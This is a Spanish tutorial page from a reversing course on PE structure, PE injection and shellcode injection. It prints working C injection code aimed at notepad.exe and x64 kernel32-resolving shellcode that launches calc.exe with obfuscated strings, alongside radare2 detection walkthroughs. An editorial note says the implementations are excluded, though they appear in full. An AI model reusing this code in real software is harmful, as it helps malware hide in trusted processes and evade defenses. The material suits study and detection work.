Únete al equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Contacta con el equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Análisis de malware / 33

Análisis de carga e inyección de PE

LoberaFormación técnica33 / 33 · 16 min de lectura · Windows · PE
33 / 33

Comprender secciones, relocaciones e importaciones al examinar un PE cargado en memoria.

Consultar conceptos ↗
Notas de la práctica

Las capturas corresponden al análisis original del autor. Puedes seguir la lectura del código y las evidencias desde esta página. El trabajo dinámico con muestras requiere un laboratorio Windows separado del equipo de uso habitual.

Edición parcial: diferencias con el original

Se excluyen las implementaciones de inyección de PE y shellcode y de process hollowing. Se conservan las estructuras PE y el caso documentado de Parallax con sus registros y capturas.

Introducción

En las entregas anteriores del curso de reversing con radare2 hemos estudiado técnicas de inyección de DLL: cómo funcionan, cómo implementarlas y cómo detectarlas en malware. Hoy damos un paso más hacia la inyección de shellcode o ejecutables completos en procesos remotos. Las técnicas de inyección de PE y shellcode funcionan de forma similar, pero en este caso querremos mapear y reubicar un ejecutable completo (varias estructuras deberán mapearse correctamente) o bien shellcode, que no necesitará reubicación pero sí deberá implementarse correctamente para no romper el programa remoto.

Al igual que con la inyección de DLL, el objetivo principal de inyectar código malicioso en un proceso remoto es abusar de una aplicación legítima, de confianza para el sistema, y hacer que ejecute nuestro código, ocultando así la ejecución del malware. La aplicación legítima se ejecuta, el AV/EDR la valida y entonces el código malicioso se carga y se ejecuta en ella. Por otro lado, podemos querer inyectar código en un proceso remoto para manipular su memoria; ejemplos de ello pueden ser: robo de credenciales, trampas en videojuegos, interrupción de procesos y sabotaje en general, entre otros.

En esta entrega examinaremos técnicas de inyección de código simples pero fundamentales: inyección de PE, inyección de shellcode y process hollowing (también conocido como runPE).

Acerca de la estructura PE

Antes de entrar en esas técnicas, conviene repasar la estructura PE. Para ello te recomiendo leer esta introducción al formato PE, ya que se necesita un conocimiento básico de este formato para entender correctamente la implementación del código.

Según Wikipedia:

The Portable Executable (PE) format is a file format for executables, object code, DLLs and others used in 32-bit and 64-bit versions of Windows operating systems. The PE format is a data structure that encapsulates the information necessary for the Windows OS loader to manage the wrapped executable code. This includes dynamic library references for linking, API export and import tables, resource management data and thread-local storage (TLS) data. On NT operating systems, the PE format is used for EXE, DLL, SYS (device driver), MUI and other file types. The Unified Extensible Firmware Interface (UEFI) specification states that PE is the standard executable format in EFI environments.

Un EXE se escribe siguiendo el formato PE. El archivo contiene el código del programa (código máquina), los datos que necesita para ejecutarse y, además, varias tablas de datos con instrucciones que utiliza el sistema operativo para colocarlo correctamente en memoria y enlazar los recursos necesarios, como las bibliotecas.

Los primeros bytes de un PE se mapean a la siguiente tabla:

C
typedef struct _IMAGE_DOS_HEADER { 
    USHORT e_magic;         
    USHORT e_cblp;          
    USHORT e_cp;            
    USHORT e_crlc;          
    USHORT e_cparhdr;       
    USHORT e_minalloc;      
    USHORT e_maxalloc;      
    USHORT e_ss;            
    USHORT e_sp;            
    USHORT e_csum;          
    USHORT e_ip;            
    USHORT e_cs;            
    USHORT e_lfarlc;        
    USHORT e_ovno;          
    USHORT e_res[4];        
    USHORT e_oemid;         
    USHORT e_oeminfo;       
    USHORT e_res2[10];      
    LONG   e_lfanew;        
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

Por ejemplo, el campo e_magic es el típico "MZ" que verás al depurar o desensamblar un exe. La cabecera PE, que contiene información útil sobre el programa, se localiza indexando el campo e_lfanew de la _IMAGE_DOS_HEADER.

Y esa cabecera se mapea a la siguiente estructura:

C
typedef struct _IMAGE_NT_HEADERS {
  DWORD                   Signature;
  IMAGE_FILE_HEADER       FileHeader;
  IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

En general, la estructura que nos interesa de esta tabla es la OptionalHeader, que contiene información como las direcciones donde debe mapearse y comenzar la ejecución del programa, referencias a sus secciones y el tamaño del programa en memoria; todo lo necesario para mapear el programa en memoria y habilitar su ejecución. Cada sección del PE contendrá datos necesarios para la ejecución: .data contendrá información no relacionada con código, utilizada por el programa; .text contendrá el código; .rsrc puede contener iconos y .reloc contendrá las relocaciones de memoria

Tiene este aspecto:

C
typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  DWORD                BaseOfData;
  DWORD                ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

Aquí, SizeOfImage contiene el tamaño del programa en memoria una vez cargado, ImageBase la dirección a partir de la cual debe mapearse y AddressOfEntryPoint la dirección donde debe comenzar la ejecución. El mapeo es necesario porque, como se ve, el tamaño del programa en disco difiere del tamaño en memoria. Además, sus secciones se cargan en posiciones distintas y con tamaños diferentes a los del disco. Esto se debe a que, en disco, los datos del programa son consecutivos, mientras que en memoria deben alinearse: cada sección se alinea al límite de página. Para más detalle, consulta la documentación del formato PE o mira un vídeo. Puede resultar muy útil practicar con herramientas como PE BEAR. *Quizá te preguntes por qué la dirección base siempre es 0x00400000

Acerca de los procesos en Windows

Cuando se lanza un programa, el SO crea un proceso, mapea el PE en él usando las estructuras que hemos visto, lo configura y lo inicia en la dirección indicada por el punto de entrada. Cada proceso tiene su propio identificador de proceso, que se puede usar para acceder a él y pausarlo, leer y escribir en su memoria o gestionar sus hilos. Un proceso puede contener múltiples hilos de ejecución, que comparten memoria entre sí. Cuando abrimos un proceso con OpenProcess o lo creamos con CreateProcessW, obtenemos un HANDLE que servirá de referencia para ese proceso. La idea del multihilo es precisamente compartir memoria y ejecutar código en paralelo. En el contexto de un ataque, un atacante puede crear un hilo en un proceso remoto para ejecutar shellcode allí. Como esta entrega no trata específicamente de procesos en Windows, mira este vídeo si lo necesitas.

Inyección de PE

La idea de la inyección de PE es ejecutar un ejecutable en el espacio de memoria de un proceso legítimo para evadir las detecciones. La técnica funciona así: primero, el proceso atacante obtiene su dirección base, luego analiza sus propias cabeceras para obtener su tamaño en memoria mediante SizeOfImage, reserva un bloque de memoria de ese tamaño y se copia allí (esto también puede hacerse directamente en el proceso remoto). Después reserva un bloque de memoria similar en el proceso remoto para copiarse en él. A continuación calcula la diferencia entre su ImageBase y la dirección de la memoria reservada en el proceso remoto; esta diferencia se usará para parchear las referencias de memoria. Usando su tabla de relocaciones (sección .reloc), parchea todas las referencias de memoria (entradas de esa tabla) con la diferencia calculada, ya que al cargar se utiliza la tabla de relocaciones junto con la dirección base de la imagen, pero como el atacante carga el PE en una dirección diferente, la reubicación debe hacerse manualmente, emulando al cargador. Hecho esto, el atacante escribe el PE y crea un hilo remoto en el proceso objetivo, comenzando desde la dirección base recalculada más el punto de entrada, y el programa se ejecuta.

A continuación se muestra una implementación de la técnica, donde el programa se mapea en memoria e inicia su ejecución en la función InjectionEntryPoint.

C
// based on this https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

/* This is the function that will get called
* once we map the PE in the remote process
*/
DWORD InjectionEntryPoint()
{
    CHAR moduleName[128] = "";
    // the name of the PE
    GetModuleFileNameA(NULL, moduleName, sizeof(moduleName)); 
    MessageBoxA(NULL, moduleName, "Ssssssimple PE Injection", NULL);
    return 0;
}

int main()
{

    HANDLE         hSnap;
    // information about the running processes
    PROCESSENTRY32 pe32;
    DWORD          dwPid=0;
    // Get current image's base address
    PVOID imageBase = GetModuleHandle(NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);

    // Allocate a new memory block and copy the current PE image to this new memory block
    PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
    memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);

    // Search for the running processes 
    // create snapshot of system
    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(hSnap == INVALID_HANDLE_VALUE) return 0;

    pe32.dwSize = sizeof(PROCESSENTRY32);
    // get first process and loop
    if(Process32First(hSnap, &pe32)){
      do {
          // check if it corresponds to notepad.exe
        if (lstrcmpi("notepad.exe", pe32.szExeFile)==0) {
          dwPid = pe32.th32ProcessID;
          break;
        }
      } while(Process32Next(hSnap, &pe32));
    }
    if(!dwPid){
        // return with error
        return 1;
    }
    printf("[+] PID to inject in: %d \n",dwPid);
    CloseHandle(hSnap);

    // Open the target process - this is process we will be injecting this PE into
    HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, dwPid);
    // Allocate a new memory block in the target process. This is where we will be injecting this PE
    PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Calculate delta between addresses of where the image will be located in the target process and where it's located currently
    DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;

    // Relocate localImage, to ensure that it will have correct addresses once its in the target process
    PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    DWORD relocationEntriesCount = 0;
    PDWORD_PTR patchedAddress;
    PBASE_RELOCATION_ENTRY relocationRVA = NULL;
    // we do the relocation manually ourselves!
    // for each relocation block
    while ((int) relocationTable->SizeOfBlock > 0)
    {
        relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
        relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
        // for each entry on the block
        for (short i = 0; i < relocationEntriesCount; i++)
        {
            // is there an address to relocate?
            if (relocationRVA[i].Offset)
            {   
                // address to patch 
                patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
                // offset + delta
                *patchedAddress += deltaImageBase;
            }
        }
        // to the next relocation block
        relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
    }

    // Write the relocated localImage into the target process
    WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);

    // Start the injected PE inside the target process
    CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL);

    return 0;
}

Ten en cuenta que, al compilar ejecutables, no todos los compiladores habilitan ASLR ni crean tablas de relocación. Si usas mingw como en Codeblocks en Windows, necesitarás añadir esto para tener una tabla .reloc e implementar la técnica fácilmente. De lo contrario, tu programa deberá cargarse en la dirección base definida en el PE.

CÓDIGO / SALIDA
-Wl,--dynamicbase,--export-all-symbols

¿Y cómo detectarlo en el código?

En términos generales y dependiendo mucho de la ofuscación implementada, es fácil de detectar. Básicamente hay que buscar una secuencia sospechosa de VirtualAllocEx, WriteProcessMemory y CreateRemoteThread o sus equivalentes NT.

CreateToolHelp32SnapShot siempre es interesante de ver en el código:

Inyección de PE
FIG. 01 Inyección de PE

Especialmente cuando viene acompañado de un bucle que recorre procesos y los compara con uno en concreto.

Inyección de PE
FIG. 02 Inyección de PE

También un VirtualAllocEx justo después de un OpenProcess debería hacer saltar la alarma:

Inyección de PE
FIG. 03 Inyección de PE

Y finalmente un WriteProcessMemory justo antes de crear un hilo.

Inyección de PE
FIG. 04 Inyección de PE

Al depurar, basta con poner breakpoints en esas funciones:

CÓDIGO / SALIDA
[0x7ffe1f462630]> dcu entry0
Continue until 0x000214e0 using 1 bpsize
base addr should not be larger than the breakpoint address.
(5792) loading library at 0x00007FFE1F410000 (C:\Windows\System32\ntdll.dll) ntdll.dll
(5792) loading library at 0x00007FFE1E450000 (C:\Windows\System32\kernel32.dll) kernel32.dll
(5792) loading library at 0x00007FFE1CF20000 (C:\Windows\System32\KernelBase.dll) KernelBase.dll
(5792) loading library at 0x00007FFE19880000 (C:\Windows\System32\apphelp.dll) apphelp.dll
(5792) loading library at 0x00007FFE1D580000 (C:\Windows\System32\msvcrt.dll) msvcrt.dll
(5792) loading library at 0x00007FFE1EDB0000 (C:\Windows\System32\user32.dll) user32.dll
(5792) loading library at 0x00007FFE1D430000 (C:\Windows\System32\win32u.dll) win32u.dll
(5792) loading library at 0x00007FFE1D7A0000 (C:\Windows\System32\gdi32.dll) gdi32.dll
(5792) loading library at 0x00007FFE1D320000 (C:\Windows\System32\gdi32full.dll) gdi32full.dll
(5792) loading library at 0x00007FFE1CC40000 (C:\Windows\System32\msvcp_win.dll) msvcp_win.dll
(5792) loading library at 0x00007FFE1D1F0000 (C:\Windows\System32\ucrtbase.dll) ucrtbase.dll
[0x7ffe1f4e06b1]>

Como veremos más adelante, también conviene poner breakpoints en sus equivalentes NT.

CÓDIGO / SALIDA
nth  paddr      vaddr          bind   type size lib                               name
--------------------------------------------------------------------------------------
1583 0x0003c080 0x7ffe1e48cc80 GLOBAL FUNC 0    KERNEL32.dll                      WriteProcessMemory
16   0x00081268 0x7ffe1e4d2868 NONE   FUNC 0    api-ms-win-core-memory-l1-1-0.dll imp.WriteProcessMemory
[0x7ffe1f4e06b1]> dmi KERNEL32 CreateRemoteThread
[Symbols]

nth paddr      vaddr          bind   type size lib                                       name
---------------------------------------------------------------------------------------------
235 0x00039f20 0x7ffe1e48ab20 GLOBAL FUNC 0    KERNEL32.dll                              CreateRemoteThread
28  0x00081600 0x7ffe1e4d2c00 NONE   FUNC 0    api-ms-win-core-processthreads-l1-1-0.dll imp.CreateRemoteThread
[0x7ffe1f4e06b1]> dmi KERNEL32 VirtualAllocEx
[Symbols]

nth  paddr      vaddr          bind   type size lib                               name
--------------------------------------------------------------------------------------
1499 0x0003be20 0x7ffe1e48ca20 GLOBAL FUNC 0    KERNEL32.dll                      VirtualAllocEx
7    0x00081220 0x7ffe1e4d2820 NONE   FUNC 0    api-ms-win-core-memory-l1-1-0.dll imp.VirtualAllocEx
[0x7ffe1f4e06b1]> dmi KERNEL32 OpenProcess
[Symbols]

nth  paddr      vaddr          bind   type size lib                                       name
----------------------------------------------------------------------------------------------
1043 0x0001a1e0 0x7ffe1e46ade0 GLOBAL FUNC 0    KERNEL32.dll                              OpenProcess
1    0x00081668 0x7ffe1e4d2c68 NONE   FUNC 0    api-ms-win-core-processthreads-l1-1-1.dll imp.OpenProcess

Otro punto interesante es comprobar los valores de retorno de las llamadas a OpenProcess y VirtualAlloc para anotar los handles de proceso y las direcciones de memoria utilizadas. Comprobar su estado simplifica el análisis.

ENSAMBLADOR / REFERENCIA
|           0x000215e8      b900000000     mov ecx, 0
|           0x000215ed      488b05b48c00.  mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; [0x2a2a8:8]=0x7ffe1e46f0b0
|           0x000215f4      ffd0           call rax
|           ;-- rip:
|           0x000215f6 b    488985400100.  mov qword [rbp + 0x140], rax

[0x000215c9]> dr rax
0x00020000

Como vemos, llamar a GetModuleHandle sin argumentos devuelve la dirección base propia.

ENSAMBLADOR / REFERENCIA
|           0x00021632      89c0           mov eax, eax
|           0x00021634      41b904000000   mov r9d, 4
|           0x0002163a      41b800100000   mov r8d, 0x1000
|           0x00021640      4889c2         mov rdx, rax
|           0x00021643      b900000000     mov ecx, 0
|           0x00021648      488b05f18c00.  mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc] ; [0x2a340:8]=0x7ffe1e468500
|           0x0002164f      ffd0           call rax
|           ;-- rip:
|           0x00021651 b    488985280100.  mov qword [rbp + 0x128], rax
[0x00021651]> dr rax
0x00fc0000

Podemos verificarlo en memoria, donde veremos ese MZ.

CÓDIGO / SALIDA
[0x000216bc]> pxw 100 @ 0x00fc0000
0x00fc0000  0x00905a4d 0x00000003 0x00000004 0x0000ffff  MZ..............
0x00fc0010  0x000000b8 0x00000000 0x00000040 0x00000000  ........@.......
0x00fc0020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00fc0030  0x00000000 0x00000000 0x00000000 0x00000080  ................
0x00fc0040  0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd  ........!..L.!Th
0x00fc0050  0x70207369 0x72676f72 0x63206d61 0x6f6e6e61  is program canno
0x00fc0060  0x65622074                                   t be
[0x000216bc]>

Al mismo tiempo podemos avanzar y ver cómo se realiza un Snapshot y se listan los procesos:

CÓDIGO / SALIDA
[0x000216bc]> dr
rflags = 0x00000211
rax = 0x013ff6e0
rcx = 0x000000cc
rdx = 0x013ff6e0
rbx = 0x00000008
rsp = 0x013ff6a0
rbp = 0x013ff720
rsi = 0x00000023
rdi = 0x019914f0

[0x000216bc]> pxw 300  @ 0x013ff6e0
0x013ff6e0  0x00000130 0x00000000 0x00000000 0x00000000  0...............
0x013ff6f0  0x00000000 0x00000000 0x00000000 0x00000001  ................
0x013ff700  0x00000000 0x00000000 0x00000000 0x7379535b  ............[Sys
0x013ff710  0x206d6574 0x636f7250 0x5d737365 0x00000000  tem Process]....
0x013ff720  0xffffffff 0xffffffff 0x14070013 0x00000000  ................
0x013ff730  0x01992d01 0x00000000 0x1f4cccc2 0x00007ffe  .-........L.....
0x013ff740  0x01992dd0 0x00000000 0x1f54cd68 0x00007ffe  .-......h.T.....
0x013ff750  0x01990000 0x00000000 0x00000018 0x00000000  ................

Finalmente, también podemos inspeccionar VirtualAllocEx / WriteProcessMemory para ver cómo primero crea un buffer en un proceso remoto y luego mapea el ejecutable en él:

CÓDIGO / SALIDA
[0x000217a9]> dr rax
0x1a566060000
[0x000217a9]> db 0x0002194d

[0x7ffe1f4b0861]> pxw @ 0x1a566060000
0x1a566060000  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060010  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060030  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060040  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060050  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060060  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060070  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060080  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060090  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a5660600a0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a5660600b0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a5660600c0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a5660600d0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a5660600e0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a5660600f0  0x00000000 0x00000000 0x00000000 0x00000000  ................
[0x7ffe1f4b0861]> pxw @ 0x1a566060000
0x1a566060000  0x00905a4d 0x00000003 0x00000004 0x0000ffff  MZ..............
0x1a566060010  0x000000b8 0x00000000 0x00000040 0x00000000  ........@.......
0x1a566060020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x1a566060030  0x00000000 0x00000000 0x00000000 0x00000080  ................
0x1a566060040  0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd  ........!..L.!Th
0x1a566060050  0x70207369 0x72676f72 0x63206d61 0x6f6e6e61  is program canno
0x1a566060060  0x65622074 0x6e757220 0x206e6920 0x20534f44  t be run in DOS
0x1a566060070  0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000  mode....$.......
0x1a566060080  0x00004550 0x00118664 0x630a4f06 0x0000dc00  PE..d....O.c....
0x1a566060090  0x00000533 0x002600f0 0x1e02020b 0x00002200  3.....&......"..
0x1a5660600a0  0x00004400 0x00000a00 0x000014e0 0x00001000  .D..............

Inyección de shellcode en procesos

Con la inyección de PE necesitamos un ejecutable compilado y debemos mapearlo manualmente, lo cual tiene ventajas e inconvenientes. Otra forma de ejecutar código abusando de un proceso remoto es la inyección de shellcode. En este caso no inyectamos un PE completo, sino solo shellcode: un conjunto de instrucciones independientes de posición, por lo que no será necesaria ninguna reubicación.

El inconveniente es que, al querer que nuestro código sea independiente de posición para evitar reubicaciones, no dispondremos de una sección .data, así que tendremos que codificar o incrustar los datos manualmente en el shellcode, y además resolver las llamadas a la API nosotros mismos (no tendremos ninguna DLL resuelta).

El principal reto será resolver esas APIs. En un programa compilado y enlazado, podemos llamar a VirtualAlloc si hemos importado Windows.h porque el programa conoce la dirección de VirtualAlloc en kernel32.dll. Un shellcode ejecutándose en un hilo remoto de un proceso legítimo no tiene acceso a eso, incluso si el proceso anfitrión tiene kernel32 cargado, porque la dirección de VirtualAlloc, por ejemplo, puede ser diferente en cada ejecución o cada vez que arranca el SO. Como el shellcode viene "de fuera" del programa, no tiene ninguna referencia. Así que necesitaremos escribir ASM que calcule las direcciones de las llamadas a la API necesarias.

El siguiente código hace eso. Puedes encontrar muchos ejemplos tanto para x32 como para x64 buscando "resolve kernel32 shellcode".

En términos generales, el código parsea la dirección del PEB, que puede obtenerse desde una ubicación fija, y luego recorre la ModuleList para obtener la dirección base de la biblioteca necesaria (kernel32 en nuestro caso). Después, la rutina recorre la biblioteca buscando la llamada a la API deseada por su nombre. Generalmente solo necesitamos parsear KERNEL32, sobre todo porque LoadLibrary y GetProcAddress están en ella y pueden usarse para cargar cualquier otra cosa que necesitemos.

El siguiente código contiene el shellcode que inyectaremos en un proceso remoto como ejemplo; básicamente llama a WinExec para abrir calc.exe. Es importante hacer guardado y restauración de registros y pila antes de volver al hilo principal, o el programa se colgará.

ASM
; based on this one https://www.exploit-db.com/exploits/49820
; List of functions in kernel32 https://www.geoffchappell.com/studies/windows/win32/kernel32/api/index.htm
global WinMain

section .text
WinMain:
; we save the return address for later
; we should save the registers also...
pop r15
push r15 

; Get kernel32.dll base address
; on an x64 syste, GS points to the TEB
; GS + 0x60 = PEB
; PEB_LDR_DATA -> Contains information about the loaded modules for the process.

xor rdi, rdi            ; RDI = 0x0
mul rdi                 ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60]  ; RBX = Linear address of Process Environment Block (PEB)
mov rbx, [rbx+0x18]     ; RBX = Address_of_LDR
mov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx             ; RBX & R8 = &kernel32.dll

; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeader
add rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8            ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable

; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTable
add r10, r8             ; R10 = &AddressTable

; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)

; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTable
add r12, r8             ; R12 = &OrdinalTable

jmp short apis

; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx                 ; save the return address for ret 2 caller after API address is found
pop rcx                 ; Get the string length counter from stack
xor rax, rax            ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp            ; RDX = Address of API Name String to match on the Stack 
push rcx                ; push the string length counter to stack
loop:
mov rcx, [rsp]          ; reset the string length counter from the stack
xor rdi,rdi             ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dll
mov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)
repe cmpsb              ; Compare strings at RDI & RSI
je resolveaddr          ; If match then we found the API string. Now we need to find the Address of the API 
incloop:
inc rax
jmp short loop

; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx                 ; remove string length counter from top of stack
mov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx                ; place the return address from the api string call back on the top of the stack
ret                     ; return to API caller

apis:                   ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7                 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec 
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx                    ; push the string length counter to stack
call getapiaddr             ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax                ; R14 = Kernel32.WinExec Address


; UINT WinExec(
;   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0
;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx                     ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax                    ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax                    ; RSP = "calc.exe",0x0
mov rcx, rsp                ; RCX = "calc.exe",0x0
inc rdx                     ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14                    ; Call WinExec("calc.exe", SW_HIDE)
push r15
ret 

Ten en cuenta que, con este mismo sistema, podemos cargar cualquier referencia de API que queramos:

ENSAMBLADOR / REFERENCIA
; Maybe playing with SuspendThread(GetCurrentThread()); could be interesting :)
; Get Sleep to r15 | String length : 10 
xor rcx, rcx
add cl, 0x5 ; size = 14
mov rax, 0x7065656C53FFFFFF; dae, fffff
shr rax, 0x18 ; F's to 0's. FF FF = 2 bytes = 16 bits = 0xF bits 
push rax 
push rcx
call getapiaddr
mov r15, rax 
mov rcx, 0xFFFFFFFFFFFFFFFF ; infinite = 00000000FFFFFFFF
shr rcx, 0x18
call r15 

Y podemos compilar eso en un objeto usando NASM. Luego podemos usar cualquier script o regex para extraer el shellcode:

CÓDIGO / SALIDA
nasm.exe -fwin64 .\resolvecalc.asm
objdump.exe -d .\resolvecalc.obj | python .\sc_extract.py

Donde sc_extract.py se puede encontrar aquí

Y si lo que queremos es generar un ejecutable independiente a partir de él, podemos usar:

CÓDIGO / SALIDA
gcc.exe .\resolvecalc.obj -o rcalc.exe -mconsole (or -mwindows etc)

Más flags del compilador aquí

El PoC final de inyección de shellcode queda así:

C
#include "Windows.h"

int main(int argc, char *argv[])
{
    unsigned char shellcode[] =
